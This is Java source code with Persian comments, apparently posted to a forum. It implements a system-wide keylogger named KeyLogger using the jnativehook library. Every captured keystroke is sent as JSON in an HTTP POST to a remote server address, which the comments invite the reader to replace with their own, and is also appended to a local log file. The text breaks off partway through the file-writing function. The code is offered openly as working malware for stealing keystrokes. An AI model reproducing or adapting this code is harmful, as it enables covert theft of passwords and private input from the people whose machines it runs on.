کد:
// این کد با استفاده از کتابخانه jnativehook نوشته شده است // برای دانلود و راهنمای استفاده از این کتابخانه به لینک زیر مراجعه کنید // https://github.com/kwhat/jnativehook // برای استفاده از کتابخانه jnativehook، باید این خط را در بالای فایل خود قرار دهید import org.jnativehook.GlobalScreen; import org.jnativehook.NativeHookException; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener; // برای ارسال داده ها به یک سرور از راه دور، باید از کتابخانه java.net استفاده کنید import java.net.HttpURLConnection; import java.net.URL; // برای نوشتن داده ها در یک فایل، باید از کتابخانه java.io استفاده کنید import java.io.File; import java.io.FileWriter; import java.io.IOException; // برای تبدیل داده ها به فرمت JSON، باید از کتابخانه org.json استفاده کنید // برای دانلود و راهنمای استفاده از این کتابخانه به لینک زیر مراجعه کنید // https://github.com/stleary/JSON-java import org.json.JSONObject; // این کلاس یک listener است که وقتی یک کلید فشار داده شود، عمل مورد نظر را انجام می دهد public class KeyLogger implements NativeKeyListener { // این متغیر ثابت نشان دهنده آدرس سرور مقصد است // شما می توانید آن را با آدرس سرور خود جایگزین کنید public static final String SERVER_URL = "http://example.com/keylogger.php"; // این متغیر ثابت نشان دهنده نام فایل محلی است // شما می توانید آن را با نام دلخواه خود جایگزین کنید public static final String FILE_NAME = "keylog.txt"; // این تابع وقتی صدا زده می شود که یک کلید فشار داده شود public void nativeKeyPressed(NativeKeyEvent e) { // در اینجا ما مقدار عددی و حروفی کلید را در قالب JSON قرار می دهیم JSONObject data = new JSONObject(); data.put("keyCode", e.getKeyCode()); data.put("keyText", NativeKeyEvent.getKeyText(e.getKeyCode())); // در اینجا ما تابع sendToServer را صدا می زنیم تا داده ها را به سرور ارسال کنیم sendToServer(data); // در اینجا ما تابع writeToFile را صدا می زنیم تا داده ها را در فایل ذخیره کنیم writeToFile(data); } // این تابع وقتی صدا زده می شود که یک کلید رها شود public void nativeKeyReleased(NativeKeyEvent e) { // ما نیازی به انجام کار خاصی در اینجا نداریم } // این تابع وقتی صدا زده می شود که یک کلید تایپ شود public void nativeKeyTyped(NativeKeyEvent e) { // ما نیازی به انجام کار خاصی در اینجا نداریم } // این تابع داده های دریافتی را به سرور مقصد ارسال می کند public void sendToServer(JSONObject data) { try { // ابتدا یک شیء از کلاس URL با آدرس سرور مقصد ایجاد می کنیم URL url = new URL(SERVER_URL); // سپس یک شیء از کلاس HttpURLConnection با استفاده از تابع openConnection بر روی شیء URL ایجاد می کنیم HttpURLConnection connection = (HttpURLConnection) url.openConnection(); // سپس تنظیمات لازم برای ارسال داده ها را انجام می دهیم connection.setRequestMethod("POST"); // مشخص می کنیم که متد POST را استفاده می کنیم connection.setRequestProperty("Content-Type", "application/json"); // مشخص می کنیم که فرمت داده ها JSON است connection.setDoOutput(true); // مشخص می کنیم که قصد داریم داده های خروجی را بفرستیم // سپس با استفاده از تابع getOutputStream بر روی شیء connection، یک جریان خروجی باز می کنیم OutputStream outputStream = connection.getOutputStream(); // سپس با استفاده از تابع write بر روی شیء outputStream، داده های JSON را به صورت بایت به جریان خروجی می نویسیم outputStream.write(data.toString().getBytes()); // سپس جریان خروجی را می بندیم outputStream.close(); // در نهایت، با استفاده از تابع getResponseCode بر روی شئ connection، کد پاسخ سرور را در چاپ محلول قرار میدهيم. System.out.println("Response code: " + connection.getResponseCode()); } catch (Exception e) { // در صورت وجود خطای, آن را در چاپ محلول قرار میدهيم. e.printStackTrace(); } } // این تابع داده های دريافتي را در يک فایل ذخيره مي كند public void writeToFile(JSONObject data) { try { // ابتدا يک شيء از كلاس File با نام فایل مقصد ايجاد مي كنيم File file = new File(FILE_NAME); // سپس يک شيء از كلاس FileWriter با استفاده از شيء file و پارامتر true (برای حالت append) ايجاد مي كنيم FileWriter fileWriter = new FileWriter(file, true); // سپس با استفاده از تابع write بر روي